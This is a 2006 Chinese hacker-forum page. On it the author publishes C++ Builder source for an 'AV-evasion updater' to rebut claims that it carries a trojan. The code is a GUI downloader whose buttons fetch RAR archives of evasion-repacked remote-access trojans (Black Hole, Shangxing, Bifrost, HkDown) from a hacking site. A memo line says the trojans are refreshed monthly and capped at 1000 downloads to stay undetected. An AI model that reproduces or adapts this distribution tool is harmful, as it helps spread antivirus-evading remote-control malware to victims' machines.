红色刺客免杀更新器代码 || 中国X黑客小组


	您现在的位置：中国X黑客小组 >> 技术文章 >> 编程技术 >> 黑客编程 >> 文章正文	用户登录新用户注册

红色刺客免杀更新器代码

热 ★★★

【字体：小大】

红色刺客免杀更新器代码

作者：雪飘文章来源：火狐论坛点击数：更新时间：2006-1-24

我雪飘红色刺客免杀更新器的作者，论坛上有人说我的免杀更新器绑定了木马，简直荒唐，我只是加了个壳就说我绑马，请不要鸡蛋里挑骨头，为了证明我的清白，我将源码公布，有cbc朋友可以自己编译下，看看，在加个同样的壳，看看大小是否一制。

请大家安心使用我确实没绑吗。

//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop

#include "Unit1.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma link "SHDocVw_OCX"
#pragma link "SUIButton"
#pragma link "SUIForm"
#pragma link "SUIProgressBar"
#pragma link "SUISideChannel"
#pragma link "SUIDBCtrls"
#pragma link "SUIMemo"
#pragma resource "*.dfm"
#define URLLENGTH 100
TForm1 *Form1;
//---------------------------------------------------------------------------
void __fastcall TForm1::down(AnsiString url,AnsiString load)
{
try
{
TFileStream *tStream;

tStream=new TFileStream(load,fmCreate);
IdHTTP1->Request->ContentRangeStart=0;
IdHTTP1->Get(url,tStream);
tStream->Free();
}
catch(...)
{
ShowMessage("出现异常，请重新启动程序！！");
}
}



__fastcall TForm1::TForm1(TComponent* Owner)
        : TForm(Owner)
{
}
//---------------------------------------------------------------------------

void __fastcall TForm1::IdHTTP1Work(TObject *Sender, TWorkMode AWorkMode,
      const int AWorkCount)
{
suiProgressBar1->Position=AWorkCount;
Application->ProcessMessages();
}
//---------------------------------------------------------------------------

void __fastcall TForm1::IdHTTP1WorkBegin(TObject *Sender,
      TWorkMode AWorkMode, const int AWorkCountMax)
{
suiProgressBar1->Max= AWorkCountMax;
}
//---------------------------------------------------------------------------
void __fastcall TForm1::IdHTTP1WorkEnd(TObject *Sender,
      TWorkMode AWorkMode)
{
suiProgressBar1->Position=0;
}
//---------------------------------------------------------------------------
void __fastcall TForm1::suitempsuiButton1Click(TObject *Sender)
{
AnsiString url1,load1;
SaveDialog1->FileName="黑洞.rar";
SaveDialog1->Filter="*.rar";
if (SaveDialog1->Execute())
load1=SaveDialog1->FileName;
if (SaveDialog1->FileName=="黑洞.rar")
{
}
else
{
BSTR wstrURL;
AnsiString str;
wstrURL=new wchar_t[URLLENGTH];
str="http://www.hackying.com/heidong2.asp";
str.WideChar(wstrURL,URLLENGTH);
CppWebBrowser1->Navigate(wstrURL);
url1="http://www.hackying.com/免杀/黑洞.rar";
down(url1,load1);
}
}
//---------------------------------------------------------------------------
void __fastcall TForm1::suitempsuiButton2Click(TObject *Sender)
{
AnsiString url1,load1;
SaveDialog1->FileName="上兴.rar";
SaveDialog1->Filter="*.rar";
if (SaveDialog1->Execute())
load1=SaveDialog1->FileName;
if (SaveDialog1->FileName=="上兴.rar")
{
}
else
{
BSTR wstrURL;
AnsiString str;
wstrURL=new wchar_t[URLLENGTH];
str="http://www.hackying.com/shangxing2.asp";
str.WideChar(wstrURL,URLLENGTH);
CppWebBrowser1->Navigate(wstrURL);
url1="http://www.hackying.com/免杀/上兴远程控制2006.rar";
down(url1,load1);
}
}
//---------------------------------------------------------------------------
void __fastcall TForm1::suitempsuiButton3Click(TObject *Sender)
{

AnsiString url1,load1;
SaveDialog1->FileName="彩虹桥.rar";
SaveDialog1->Filter="*.rar";
if (SaveDialog1->Execute())
load1=SaveDialog1->FileName;
if (SaveDialog1->FileName=="彩虹桥.rar")
{
}
else
{
BSTR wstrURL;
AnsiString str;
wstrURL=new wchar_t[URLLENGTH];
str="http://www.hackying.com/caihong2.asp";
str.WideChar(wstrURL,URLLENGTH);
CppWebBrowser1->Navigate(wstrURL);
url1="http://www.hackying.com/免杀/bifrost.rar";
down(url1,load1);
}
}
//---------------------------------------------------------------------------



void __fastcall TForm1::FormCreate(TObject *Sender)
{
Memo1->Clear();
Memo1->Lines->Add("本免杀程序中的木马一个月更新一次，为保证免杀效果，每个木马下载1000次后将停止提供下载。");
Memo1->Lines->Add("");
  Memo1->Lines->Add("                                   雪飘人间");
  BSTR wstrURL;
AnsiString str;
wstrURL=new wchar_t[URLLENGTH];
str="http://www.hackying.com/flysnow.htm";
str.WideChar(wstrURL,URLLENGTH);
CppWebBrowser1->Navigate(wstrURL);
}
//---------------------------------------------------------------------------

void __fastcall TForm1::suiButton4Click(TObject *Sender)
{

AnsiString url1,load1;
SaveDialog1->FileName="HkDown.rar";
SaveDialog1->Filter="*.rar";
if (SaveDialog1->Execute())
load1=SaveDialog1->FileName;
if (SaveDialog1->FileName=="HkDown.rar")
{
}
else
{
BSTR wstrURL;
AnsiString str;
wstrURL=new wchar_t[URLLENGTH];
str="http://www.hackying.com/hk2.asp";
str.WideChar(wstrURL,URLLENGTH);
CppWebBrowser1->Navigate(wstrURL);
url1="http://www.hackying.com/免杀/HkDown.rar";
down(url1,load1);
}
}

//---------------------------------------------------------------------------

void __fastcall TForm1::Button1Click(TObject *Sender)
{
   BSTR wstrURL;
AnsiString str;
wstrURL=new wchar_t[URLLENGTH];
str="http://www.hackying.com/b.asp";
str.WideChar(wstrURL,URLLENGTH);
CppWebBrowser1->Navigate(wstrURL);
}

文章录入：IceRiver 责任编辑：admin

上一篇文章：注入工具的原理和开发

下一篇文章：菜鸟版Expliot编写指南之PNP溢出漏洞分析+利用

【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】

最新热点		最新推荐		相关文章
				红色预警！毒性超熊猫上网小

　网友评论：（只显示最新5条。评论内容只代表网友观点，与本站立场无关！）


关于我们 - 版权声明 - 帮助(？) - 广告服务 - 联系我们 - 友情链接 - 用户注册 -	Powered by ICE RIVER - STUDIO

» CnXHacker.CoM